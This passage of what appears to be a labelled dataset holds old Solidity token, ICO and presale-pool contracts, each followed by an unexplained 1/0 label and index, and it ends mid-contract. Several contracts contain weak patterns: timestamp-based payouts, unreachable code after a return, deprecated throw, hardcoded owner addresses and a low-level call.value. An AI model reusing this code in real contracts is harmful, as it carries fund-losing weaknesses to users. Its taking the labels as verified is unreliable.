pragma solidity ^0.4.21; contract ForeignToken { function balanceOf(address _owner) constant returns (uint256); function transfer(address _to, uint256 _value) returns (bool); } contract tokenTrust { event Hodl(address indexed hodler, uint indexed amount); event Party(address indexed hodler, uint indexed amount); mapping (address => uint) public hodlers; uint partyTime = 1521975140; function() payable { hodlers[msg.sender] += msg.value; Hodl(msg.sender, msg.value); } function party() { require (block.timestamp > partyTime && hodlers[msg.sender] > 0); uint value = hodlers[msg.sender]; uint amount = value/104; msg.sender.transfer(amount); Party(msg.sender, amount); partyTime = partyTime + 604800; } function withdrawForeignTokens(address _tokenContract) returns (bool) { if (msg.sender != 0x239C09c910ea910994B320ebdC6bB159E71d0b30) { throw; } require (block.timestamp > partyTime); ForeignToken token = ForeignToken(_tokenContract); uint256 amount = token.balanceOf(address(this))/104; return token.transfer(0x239C09c910ea910994B320ebdC6bB159E71d0b30, amount); partyTime = partyTime + 604800; } }
1
4,021
pragma solidity ^0.4.13; library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract InvestorsFeature is Ownable, StandardToken { using SafeMath for uint; address[] public investors; mapping(address => bool) isInvestor; function deposit(address investor, uint tokens) internal { if(isInvestor[investor] == false) { investors.push(investor); isInvestor[investor] = true; } } function sendp(address addr, uint amount) internal { require(addr != address(0)); require(amount > 0); deposit(addr, amount); balances[this] = balances[this].sub(amount); balances[addr] = balances[addr].add(amount); Transfer(this, addr, amount); } function payDividends(uint) onlyOwner public { uint threshold = (30000 * (10 ** 8)); require(balanceOf(this) >= threshold); uint total = 0; for(uint it = 0; it < investors.length;++it) { address investor = investors[it]; if(balances[investor] < (2500 * (10 ** 8))) continue; total += balances[investor]; } uint perToken = balances[this].mul(10 ** 10) / total; for(it = 0; it < investors.length;++it) { investor = investors[it]; if(balances[investor] < (2500 * (10 ** 8))) continue; uint out = balances[investor].mul(perToken).div(10 ** 10); sendp(investor, out); } } } contract FinTab is Ownable, StandardToken, InvestorsFeature { string public constant name = "FinTabToken"; string public constant symbol = "FNT"; uint8 public constant decimals = 8; uint256 public constant INITIAL_SUPPLY = (30 * (10**6)) * (10 ** uint256(decimals)); uint public constant weiPerToken = 1 ether / (750 * (10 ** uint(decimals))); function FinTab() public { totalSupply = INITIAL_SUPPLY; balances[this] = INITIAL_SUPPLY; Transfer(address(0), this, INITIAL_SUPPLY); } function fromEther(uint value) private constant returns(uint) { return value / weiPerToken; } function send(address addr, uint amount) public onlyOwner { sendp(addr, amount); } function() public payable { uint tokens = fromEther(msg.value); sendp(msg.sender, tokens); } function burnRemainder(uint) public onlyOwner { uint value = balances[this]; totalSupply = totalSupply.sub(value); balances[this] = 0; } function moneyBack(address addr) public onlyOwner { require(addr != 0x0); addr.transfer(this.balance); } }
0
1,854
pragma solidity ^0.4.21; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(burner, _value); } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { assert(token.transfer(to, value)); } function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal { assert(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { assert(token.approve(spender, value)); } } contract BitexToken is MintableToken, BurnableToken { using SafeERC20 for ERC20; string public constant name = "Bitex Coin"; string public constant symbol = "XBX"; uint8 public decimals = 18; bool public tradingStarted = false; mapping (address => bool) public transferable; modifier allowTransfer(address _spender) { require(tradingStarted || transferable[_spender]); _; } function modifyTransferableHash(address _spender, bool value) onlyOwner public { transferable[_spender] = value; } function startTrading() onlyOwner public { tradingStarted = true; } function transfer(address _to, uint _value) allowTransfer(msg.sender) public returns (bool){ return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint _value) allowTransfer(_from) public returns (bool){ return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public allowTransfer(_spender) returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public allowTransfer(_spender) returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public allowTransfer(_spender) returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract KnowYourCustomer is Ownable { struct Contributor { bool cleared; uint16 contributor_get; address ref; uint16 affiliate_get; } mapping (address => Contributor) public whitelist; function setContributor(address _address, bool cleared, uint16 contributor_get, uint16 affiliate_get, address ref) onlyOwner public{ require(contributor_get<10000); require(affiliate_get<10000); Contributor storage contributor = whitelist[_address]; contributor.cleared = cleared; contributor.contributor_get = contributor_get; contributor.ref = ref; contributor.affiliate_get = affiliate_get; } function getContributor(address _address) view public returns (bool, uint16, address, uint16 ) { return (whitelist[_address].cleared, whitelist[_address].contributor_get, whitelist[_address].ref, whitelist[_address].affiliate_get); } function getClearance(address _address) view public returns (bool) { return whitelist[_address].cleared; } } contract Crowdsale { using SafeMath for uint256; MintableToken public token; uint256 public startTime; uint256 public endTime; address public wallet; uint256 public rate; uint256 public weiRaised; event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) public { require(_startTime >= now); require(_endTime >= _startTime); require(_rate > 0); require(_wallet != address(0)); token = createTokenContract(); startTime = _startTime; endTime = _endTime; rate = _rate; wallet = _wallet; } function createTokenContract() internal returns (MintableToken) { return new MintableToken(); } function () external payable { buyTokens(msg.sender); } function buyTokens(address beneficiary) public payable { require(beneficiary != address(0)); require(validPurchase()); uint256 weiAmount = msg.value; uint256 tokens = weiAmount.mul(rate); weiRaised = weiRaised.add(weiAmount); token.mint(beneficiary, tokens); emit TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); forwardFunds(); } function forwardFunds() internal { wallet.transfer(msg.value); } function validPurchase() internal view returns (bool) { bool withinPeriod = now >= startTime && now <= endTime ; bool nonZeroPurchase = msg.value != 0 ; return withinPeriod && nonZeroPurchase; } function hasEnded() public view returns (bool) { return now > endTime; } } contract FinalizableCrowdsale is Crowdsale, Ownable { using SafeMath for uint256; bool public isFinalized = false; event Finalized(); function finalize() onlyOwner public { require(!isFinalized); require(hasEnded()); finalization(); emit Finalized(); isFinalized = true; } function finalization() internal{ } } contract RefundVault is Ownable { using SafeMath for uint256; enum State { Active, Refunding, Closed } mapping (address => uint256) public deposited; address public wallet; State public state; event Closed(); event RefundsEnabled(); event Refunded(address indexed beneficiary, uint256 weiAmount); function RefundVault(address _wallet) public { require(_wallet != address(0)); wallet = _wallet; state = State.Active; } function deposit(address investor) onlyOwner public payable { require(state == State.Active); deposited[investor] = deposited[investor].add(msg.value); } function close() onlyOwner public { state = State.Closed; emit Closed(); wallet.transfer(address(this).balance); } function enableRefunds() onlyOwner public { require(state == State.Active); state = State.Refunding; emit RefundsEnabled(); } function refund(address investor) public { require(state == State.Refunding); uint256 depositedValue = deposited[investor]; deposited[investor] = 0; investor.transfer(depositedValue); emit Refunded(investor, depositedValue); } } contract RefundableCrowdsale is FinalizableCrowdsale { using SafeMath for uint256; uint256 public goal; RefundVault public vault; function RefundableCrowdsale(uint256 _goal) public { require(_goal > 0); vault = new RefundVault(wallet); goal = _goal; } function forwardFunds() internal { vault.deposit.value(msg.value)(msg.sender); } function claimRefund() public { require(isFinalized); require(!goalReached()); vault.refund(msg.sender); } function finalization() internal { if (goalReached()) { vault.close(); } else { vault.enableRefunds(); } super.finalization(); } function goalReached() public view returns (bool) { return weiRaised >= goal; } } contract BitexTokenCrowdSale is Crowdsale, RefundableCrowdsale { using SafeMath for uint256; uint256 public numberOfPurchasers = 0; uint256 public maxTokenSupply = 0; uint256 public initialTokenAmount = 0; uint256 public minimumAmount = 0; bool public preICO; BitexToken public token; KnowYourCustomer public kyc; address public walletRemaining; address public pendingOwner; event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount, uint256 rate, address indexed referral, uint256 referredBonus ); event TokenPurchaseAffiliate(address indexed ref, uint256 amount ); function BitexTokenCrowdSale( uint256 _startTime, uint256 _endTime, uint256 _rate, uint256 _goal, uint256 _minimumAmount, uint256 _maxTokenSupply, address _wallet, BitexToken _token, KnowYourCustomer _kyc, bool _preICO, address _walletRemaining, address _pendingOwner ) FinalizableCrowdsale() RefundableCrowdsale(_goal) Crowdsale(_startTime, _endTime, _rate, _wallet) public { require(_minimumAmount >= 0); require(_maxTokenSupply > 0); require(_walletRemaining != address(0)); minimumAmount = _minimumAmount; maxTokenSupply = _maxTokenSupply; preICO = _preICO; walletRemaining = _walletRemaining; pendingOwner = _pendingOwner; kyc = _kyc; token = _token; if (preICO) { initialTokenAmount = token.totalSupply(); } } function createTokenContract() internal returns (MintableToken) { return token; } function computeTokenWithBonus(uint256 weiAmount) public view returns(uint256) { uint256 tokens_ = 0; if (preICO) { if (weiAmount >= 50000 ether ) { tokens_ = weiAmount.mul(34).div(100); } else if (weiAmount<50000 ether && weiAmount >= 10000 ether) { tokens_ = weiAmount.mul(26).div(100); } else if (weiAmount<10000 ether && weiAmount >= 5000 ether) { tokens_ = weiAmount.mul(20).div(100); } else if (weiAmount<5000 ether && weiAmount >= 1000 ether) { tokens_ = weiAmount.mul(16).div(100); } }else{ if (weiAmount >= 50000 ether ) { tokens_ = weiAmount.mul(17).div(100); } else if (weiAmount<50000 ether && weiAmount >= 10000 ether) { tokens_ = weiAmount.mul(13).div(100); } else if (weiAmount<10000 ether && weiAmount >= 5000 ether) { tokens_ = weiAmount.mul(10).div(100); } else if (weiAmount<5000 ether && weiAmount >= 1000 ether) { tokens_ = weiAmount.mul(8).div(100); } } return tokens_; } function claimRefund() public { uint256 tokenBalance = token.balanceOf(msg.sender); require(tokenBalance == 0); super.claimRefund(); } function finalization() internal { if (!preICO) { uint256 remainingTokens = maxTokenSupply.sub(token.totalSupply()); token.mint(walletRemaining, remainingTokens); } super.finalization(); if (!preICO) { token.finishMinting(); } token.transferOwnership(pendingOwner); } function buyTokens(address beneficiary) public payable { require(beneficiary != address(0)); require(validPurchase()); bool cleared; uint16 contributor_get; address ref; uint16 affiliate_get; (cleared,contributor_get,ref,affiliate_get) = kyc.getContributor(beneficiary); require(cleared); uint256 weiAmount = msg.value; uint256 tokens = weiAmount.mul(rate); uint256 bonus = computeTokenWithBonus(tokens); uint256 contributorGet = tokens.mul(contributor_get).div(100*100); tokens = tokens.add(bonus); tokens = tokens.add(contributorGet); require((minted().add(tokens)) <= maxTokenSupply); token.mint(beneficiary, tokens); emit TokenPurchase(msg.sender, beneficiary, weiAmount, tokens, rate, ref, contributorGet); weiRaised = weiRaised.add(weiAmount); numberOfPurchasers = numberOfPurchasers + 1; forwardFunds(); bool refCleared; (refCleared) = kyc.getClearance(ref); if (refCleared && ref != beneficiary) { tokens = weiAmount.mul(rate); uint256 affiliateGet = tokens.mul(affiliate_get).div(100*100); if ( minted().add(affiliateGet) <= maxTokenSupply) { token.mint(ref, affiliateGet); emit TokenPurchaseAffiliate(ref, tokens ); } } } function validPurchase() internal view returns (bool) { bool minAmount = (msg.value >= minimumAmount); return super.validPurchase() && minAmount; } function minted() public view returns(uint256) { return token.totalSupply().sub(initialTokenAmount); } function hasEnded() public view returns (bool) { return super.hasEnded() || (minted() >= maxTokenSupply); } function changeMinimumAmount(uint256 _minimumAmount) onlyOwner public { require(_minimumAmount > 0); minimumAmount = _minimumAmount; } function changeRate(uint256 _rate) onlyOwner public { require(_rate > 0); rate = _rate; } function changeDates(uint256 _startTime, uint256 _endTime) onlyOwner public { require(_startTime >= now); require(_endTime >= _startTime); startTime = _startTime; endTime = _endTime; } function modifyTransferableHash(address _spender, bool value) onlyOwner public { token.modifyTransferableHash(_spender,value); } function transferVault(address newOwner) onlyOwner public { vault.transferOwnership(newOwner); } } contract IcoController is Ownable { uint8 public statePhase = 0; address public pendingOwner; address public whiteListingAdmin; BitexToken public token; BitexTokenCrowdSale public preICO; BitexTokenCrowdSale public currentIco; KnowYourCustomer public kyc; bool public lastRound = false; address public walletRemaining; uint256 public maxTokenSupply = 0; uint256 public finalizePreIcoDate; uint256 public finalizeIcoDate; function InitIcoController(address _pendingOwner) onlyOwner public{ pendingOwner = _pendingOwner; token = new BitexToken(); kyc = new KnowYourCustomer(); } function prepare(uint256 _maxTokenSupply,address _walletRemaining,address _whiteListingAdmin) onlyOwner public{ require(statePhase == 0); require(owner == pendingOwner); maxTokenSupply = _maxTokenSupply; walletRemaining = _walletRemaining; whiteListingAdmin = _whiteListingAdmin; statePhase = 1; } function mint(uint256 tokens,address beneficiary) onlyOwner public{ require(statePhase == 1); bool lessThanMaxSupply = (token.totalSupply() + tokens) <= maxTokenSupply; require(lessThanMaxSupply); token.mint(beneficiary, tokens); } function mintAndCreatePreIcoBitex(address _walletRemaining,address _teamWallet) onlyOwner public { prepare(300000000000000000000000000,_walletRemaining, 0xd68cE8BF133297C3C27cc582A9E5452F64F76E4b); mint(63000000000000000000000000,0xB52c45b43B5c2dC6928149C54A05bA3A91542060); mint(27000000000000000000000000,_teamWallet); createPreIco(1525791600, 1527606000, 1000, 1000000000000000000000, 100000000000000000, 30000000000000000000000000, 0x1eF0cAD0E9A12cf39494e7D40643985538E7e963); modifyTransferableHash(_walletRemaining,true); modifyTransferableHash(_teamWallet,true); modifyTransferableHash(0xB52c45b43B5c2dC6928149C54A05bA3A91542060,true); } function createPreIco( uint256 _startTime, uint256 _endTime, uint256 _rate, uint256 _goal, uint256 _minimumAmount, uint256 _maxTokenForThisRound, address _wallet ) onlyOwner public { require(statePhase<=1); currentIco = new BitexTokenCrowdSale( _startTime, _endTime, _rate, _goal, _minimumAmount, _maxTokenForThisRound, _wallet, token, kyc, true, walletRemaining, address(this) ); preICO = currentIco; token.transferOwnership(currentIco); statePhase = 2; } function createIco( uint256 _startTime, uint256 _endTime, uint256 _rate, uint256 _goal, uint256 _minimumAmount, address _wallet) onlyOwner public { require(statePhase==2); currentIco = new BitexTokenCrowdSale( _startTime, _endTime, _rate, _goal, _minimumAmount, maxTokenSupply, _wallet, token, kyc, false, walletRemaining, pendingOwner ); token.transferOwnership(currentIco); statePhase = 3; } function finalizeIco() onlyOwner public { if (statePhase==2) { finalizePreIcoDate = now; }else{ finalizeIcoDate = now; } currentIco.finalize(); } function modifyTransferableHash(address _spender, bool value) onlyOwner public { if (statePhase<=1) { token.modifyTransferableHash(_spender,value); }else{ currentIco.modifyTransferableHash(_spender, value); } } function changeMinimumAmount(uint256 _minimumAmount) onlyOwner public { currentIco.changeMinimumAmount(_minimumAmount); } function changeRate(uint256 _rate) onlyOwner public { currentIco.changeRate(_rate); } function changeDates(uint256 _startTime, uint256 _endTime) onlyOwner public { currentIco.changeDates(_startTime, _endTime); } function transferCrowdSale(bool preIco) onlyOwner public { if (preIco) { require(finalizePreIcoDate!=0); require(now>=(finalizePreIcoDate+30 days)); preICO.transferOwnership(owner); kyc.transferOwnership(owner); }else{ require(finalizeIcoDate!=0); require(now>=finalizeIcoDate+30 days); currentIco.transferOwnership(owner); } } function setContributor(address _address, bool cleared, uint16 contributor_get, uint16 affiliate_get, address ref) public{ require(msg.sender == whiteListingAdmin); kyc.setContributor(_address, cleared, contributor_get, affiliate_get, ref); } function setWhiteListAdmin(address _address) onlyOwner public{ whiteListingAdmin=_address; } function transferOwnerShipToPendingOwner() public { require(msg.sender == pendingOwner); emit OwnershipTransferred(owner, pendingOwner); owner = pendingOwner; } }
1
4,974
pragma solidity ^0.4.19; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } interface ERC20 { function balanceOf(address _owner) external returns (uint256 balance); function transfer(address _to, uint256 _value) external returns (bool success); } interface WhiteList { function isPaidUntil (address addr) external view returns (uint); } contract PresalePool { using SafeMath for uint; uint8 public contractStage = 1; address public owner; uint maxContractBalance; uint contributionCap; uint public feePct; address public receiverAddress; uint constant public contributionMin = 100000000000000000; uint constant public maxGasPrice = 50000000000; WhiteList constant public whitelistContract = WhiteList(0xf6E386FA4794B58350e7B4Cb32B6f86Fb0F357d4); bool whitelistIsActive = true; uint public nextCapTime; uint public nextContributionCap; uint public addressChangeBlock; uint public finalBalance; uint[] public ethRefundAmount; address public activeToken; struct Contributor { uint ethRefund; uint balance; uint cap; mapping (address => uint) tokensClaimed; } mapping (address => Contributor) whitelist; struct TokenAllocation { ERC20 token; uint[] pct; uint balanceRemaining; } mapping (address => TokenAllocation) distributionMap; modifier onlyOwner () { require (msg.sender == owner); _; } bool locked; modifier noReentrancy() { require(!locked); locked = true; _; locked = false; } event ContributorBalanceChanged (address contributor, uint totalBalance); event ReceiverAddressSet ( address _addr); event PoolSubmitted (address receiver, uint amount); event WithdrawalsOpen (address tokenAddr); event TokensWithdrawn (address receiver, address token, uint amount); event EthRefundReceived (address sender, uint amount); event EthRefunded (address receiver, uint amount); event ERC223Received (address token, uint value); function _toPct (uint numerator, uint denominator ) internal pure returns (uint) { return numerator.mul(10 ** 20) / denominator; } function _applyPct (uint numerator, uint pct) internal pure returns (uint) { return numerator.mul(pct) / (10 ** 20); } function PresalePool (address receiverAddr, uint contractCap, uint cap, uint fee) public { require (fee < 100); require (contractCap >= cap); owner = msg.sender; receiverAddress = receiverAddr; maxContractBalance = contractCap; contributionCap = cap; feePct = _toPct(fee,100); } function () payable public { if (contractStage == 1) { _ethDeposit(); } else _ethRefund(); } function _ethDeposit () internal { assert (contractStage == 1); require (!whitelistIsActive || whitelistContract.isPaidUntil(msg.sender) > now); require (tx.gasprice <= maxGasPrice); require (this.balance <= maxContractBalance); var c = whitelist[msg.sender]; uint newBalance = c.balance.add(msg.value); require (newBalance >= contributionMin); if (nextCapTime > 0 && nextCapTime < now) { contributionCap = nextContributionCap; nextCapTime = 0; } if (c.cap > 0) require (newBalance <= c.cap); else require (newBalance <= contributionCap); c.balance = newBalance; ContributorBalanceChanged(msg.sender, newBalance); } function _ethRefund () internal { assert (contractStage == 2); require (msg.sender == owner || msg.sender == receiverAddress); require (msg.value >= contributionMin); ethRefundAmount.push(msg.value); EthRefundReceived(msg.sender, msg.value); } function withdraw (address tokenAddr) public { var c = whitelist[msg.sender]; require (c.balance > 0); if (contractStage == 1) { uint amountToTransfer = c.balance; c.balance = 0; msg.sender.transfer(amountToTransfer); ContributorBalanceChanged(msg.sender, 0); } else { _withdraw(msg.sender,tokenAddr); } } function withdrawFor (address contributor, address tokenAddr) public onlyOwner { require (contractStage == 2); require (whitelist[contributor].balance > 0); _withdraw(contributor,tokenAddr); } function _withdraw (address receiver, address tokenAddr) internal { assert (contractStage == 2); var c = whitelist[receiver]; if (tokenAddr == 0x00) { tokenAddr = activeToken; } var d = distributionMap[tokenAddr]; require ( (ethRefundAmount.length > c.ethRefund) || d.pct.length > c.tokensClaimed[tokenAddr] ); if (ethRefundAmount.length > c.ethRefund) { uint pct = _toPct(c.balance,finalBalance); uint ethAmount = 0; for (uint i=c.ethRefund; i<ethRefundAmount.length; i++) { ethAmount = ethAmount.add(_applyPct(ethRefundAmount[i],pct)); } c.ethRefund = ethRefundAmount.length; if (ethAmount > 0) { receiver.transfer(ethAmount); EthRefunded(receiver,ethAmount); } } if (d.pct.length > c.tokensClaimed[tokenAddr]) { uint tokenAmount = 0; for (i=c.tokensClaimed[tokenAddr]; i<d.pct.length; i++) { tokenAmount = tokenAmount.add(_applyPct(c.balance,d.pct[i])); } c.tokensClaimed[tokenAddr] = d.pct.length; if (tokenAmount > 0) { require(d.token.transfer(receiver,tokenAmount)); d.balanceRemaining = d.balanceRemaining.sub(tokenAmount); TokensWithdrawn(receiver,tokenAddr,tokenAmount); } } } function modifyIndividualCap (address addr, uint cap) public onlyOwner { require (contractStage == 1); require (cap <= maxContractBalance); var c = whitelist[addr]; require (cap >= c.balance); c.cap = cap; } function modifyCap (uint cap) public onlyOwner { require (contractStage == 1); require (contributionCap <= cap && maxContractBalance >= cap); contributionCap = cap; nextCapTime = 0; } function modifyNextCap (uint time, uint cap) public onlyOwner { require (contractStage == 1); require (contributionCap <= cap && maxContractBalance >= cap); require (time > now); nextCapTime = time; nextContributionCap = cap; } function modifyMaxContractBalance (uint amount) public onlyOwner { require (contractStage == 1); require (amount >= contributionMin); require (amount >= this.balance); maxContractBalance = amount; if (amount < contributionCap) contributionCap = amount; } function toggleWhitelist (bool active) public onlyOwner { whitelistIsActive = active; } function checkPoolBalance () view public returns (uint poolCap, uint balance, uint remaining) { if (contractStage == 1) { remaining = maxContractBalance.sub(this.balance); } else { remaining = 0; } return (maxContractBalance,this.balance,remaining); } function checkContributorBalance (address addr) view public returns (uint balance, uint cap, uint remaining) { var c = whitelist[addr]; if (contractStage == 2) return (c.balance,0,0); if (whitelistIsActive && whitelistContract.isPaidUntil(addr) < now) return (c.balance,0,0); if (c.cap > 0) cap = c.cap; else cap = contributionCap; if (cap.sub(c.balance) > maxContractBalance.sub(this.balance)) return (c.balance, cap, maxContractBalance.sub(this.balance)); return (c.balance, cap, cap.sub(c.balance)); } function checkAvailableTokens (address addr, address tokenAddr) view public returns (uint tokenAmount) { var c = whitelist[addr]; var d = distributionMap[tokenAddr]; for (uint i = c.tokensClaimed[tokenAddr]; i < d.pct.length; i++) { tokenAmount = tokenAmount.add(_applyPct(c.balance, d.pct[i])); } return tokenAmount; } function setReceiverAddress (address addr) public onlyOwner { require (contractStage == 1); receiverAddress = addr; addressChangeBlock = block.number; ReceiverAddressSet(addr); } function submitPool (uint amountInWei) public onlyOwner noReentrancy { require (contractStage == 1); require (receiverAddress != 0x00); require (block.number >= addressChangeBlock.add(6000)); if (amountInWei == 0) amountInWei = this.balance; require (contributionMin <= amountInWei && amountInWei <= this.balance); finalBalance = this.balance; require (receiverAddress.call.value(amountInWei).gas(msg.gas.sub(5000))()); if (this.balance > 0) ethRefundAmount.push(this.balance); contractStage = 2; PoolSubmitted(receiverAddress, amountInWei); } function enableTokenWithdrawals (address tokenAddr, bool notDefault) public onlyOwner noReentrancy { require (contractStage == 2); if (notDefault) { require (activeToken != 0x00); } else { activeToken = tokenAddr; } var d = distributionMap[tokenAddr]; if (d.pct.length==0) d.token = ERC20(tokenAddr); uint amount = d.token.balanceOf(this).sub(d.balanceRemaining); require (amount > 0); if (feePct > 0) { require (d.token.transfer(owner,_applyPct(amount,feePct))); } amount = d.token.balanceOf(this).sub(d.balanceRemaining); d.balanceRemaining = d.token.balanceOf(this); d.pct.push(_toPct(amount,finalBalance)); } function tokenFallback (address from, uint value, bytes data) public { ERC223Received (from, value); } }
1
2,872
pragma solidity ^0.4.16; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= 